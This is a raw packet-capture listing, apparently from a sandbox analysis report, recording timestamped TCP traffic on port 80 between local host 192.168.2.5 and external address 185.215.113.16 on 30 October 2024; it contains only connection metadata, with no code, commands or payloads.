Oct 30, 2024 21:56:12.206643105 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.206649065 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.206649065 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.206697941 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.239444971 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.239456892 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.239469051 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.239489079 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.239500046 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.239511967 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.239516020 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.239525080 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.239553928 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.239583969 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.239881039 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.239928007 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.239934921 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.239942074 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.239962101 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.239974022 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.239974976 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.239995956 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.240015984 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.240019083 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.240030050 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.240067005 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.240094900 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.240833044 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.240886927 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.284312963 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.284327030 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.284377098 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.284378052 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.284389973 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.284408092 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.284420967 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.284432888 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.284471035 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.284840107 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.284852028 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.284862995 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.284890890 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.284907103 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.285115004 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.285170078 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.285202026 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.285213947 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.285224915 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.285235882 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.285248041 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.285259008 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.285263062 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.285283089 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.285306931 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.286042929 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.286097050 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.286130905 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.286142111 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.286154032 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.286169052 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.286180973 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.286180973 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.286194086 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.286214113 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.286235094 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.286936045 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.286988020 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.325974941 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.326001883 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.326019049 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.326030970 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.326059103 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.326071024 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.326077938 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.326082945 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.326096058 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.326138020 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.326138973 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.326173067 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.326450109 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.326495886 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.326535940 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.326535940 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.359240055 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.359292030 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.359307051 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.359319925 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.359343052 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.359353065 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.359353065 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.359355927 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.359384060 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.359396935 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.359479904 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.359491110 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.359529972 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.359992027 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.360039949 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.360078096 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.360090017 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.360102892 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.360114098 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.360126972 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.360126972 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.360138893 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.360152006 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.360178947 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.360742092 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.360765934 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.360778093 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.360789061 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.360810995 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.360829115 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.406802893 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.406864882 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.406902075 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.406913996 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.406927109 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.406939030 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.406940937 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.406950951 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.406963110 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.406975031 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.407001972 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.407013893 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.407248974 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.407299995 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.407330036 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.407334089 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.407339096 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.407357931 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.407371044 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.407371998 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.407383919 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.407397032 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.407397985 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.407433033 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.407433033 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.407433033 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.408214092 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.408226967 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.408237934 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.408250093 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.408262968 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.408262968 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.408273935 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.408286095 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.408292055 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.408313036 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.408324957 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.408992052 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.409014940 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.409025908 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.409037113 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.409051895 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.409064054 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.445666075 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.445677996 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.445715904 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.445784092 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.446259022 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.446301937 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.446301937 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.446314096 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.446338892 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.446351051 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.446393013 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.446433067 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.478909016 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.478930950 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.478981972 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.478986979 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.478986979 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.479021072 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.479034901 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.479088068 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.479089022 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.479137897 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.479207039 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.479219913 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.479232073 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.479249001 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.479263067 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.479263067 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.479295015 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.479295015 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.479582071 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.479638100 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.479649067 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.479650021 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.479684114 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.479682922 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.479696035 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.479702950 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.479722023 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.479751110 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.480182886 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.480237007 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.480252028 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.480272055 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.480283976 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.480310917 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.480310917 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.480331898 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.480338097 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.480350971 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.480398893 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.480398893 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.526460886 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.526484013 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.526501894 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.526514053 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.526571035 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.526627064 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.526698112 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.526710033 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.526720047 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.526748896 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.526767015 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.526774883 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.526779890 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.526808023 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.526832104 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.527240992 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.527251005 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.527282000 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.527297020 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.527322054 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.527364969 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.527374029 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.527393103 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.527415037 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.527425051 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.527426004 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.527437925 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.527467966 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.527483940 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.527957916 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.527970076 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.527980089 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.528007030 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.528018951 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.528027058 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.528038025 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.528050900 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.528062105 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.528067112 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.528074026 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.528093100 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.528120041 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.528896093 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.528908014 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.528919935 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.528933048 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.528944969 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.528959036 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.529006004 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.565572023 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.565645933 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.565660954 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.565674067 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.565685034 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.565697908 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.565710068 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.565711975 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.565746069 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.565783024 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.598628998 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.598650932 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.598716021 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.598783016 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.598790884 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.598804951 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.598818064 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.598829031 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.598853111 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.598855019 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.598865986 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.598912001 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.598912001 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.598912001 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.599103928 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.599159956 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.599163055 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.599172115 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.599205971 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.599231958 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.599483013 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.599534035 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.599606991 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.599621058 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.599634886 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.599649906 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.599663019 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.599664927 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.599664927 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.599674940 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.599688053 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.599689960 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.599703074 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.599746943 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.599746943 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.600277901 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.600334883 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.600352049 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.600404024 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.641396999 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.641450882 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.641515970 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.641515970 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.646486998 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.646550894 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.646601915 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.646615982 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.646627903 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.646637917 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.646651030 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.646657944 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.646665096 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.646676064 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.646683931 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.646739006 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.646888018 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.646902084 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.646913052 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.646930933 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.646944046 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.646945953 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.646975040 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.647001982 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.647449970 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.647461891 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.647474051 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.647484064 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.647496939 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.647509098 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.647511005 CET	50196	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:56:12.647521019 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.647531033 CET	80	50196	185.215.113.16	192.168.2.5
Oct 30, 2024 21:56:12.647536993 CET	50196	80	192.168.2.5	185.215.113.16
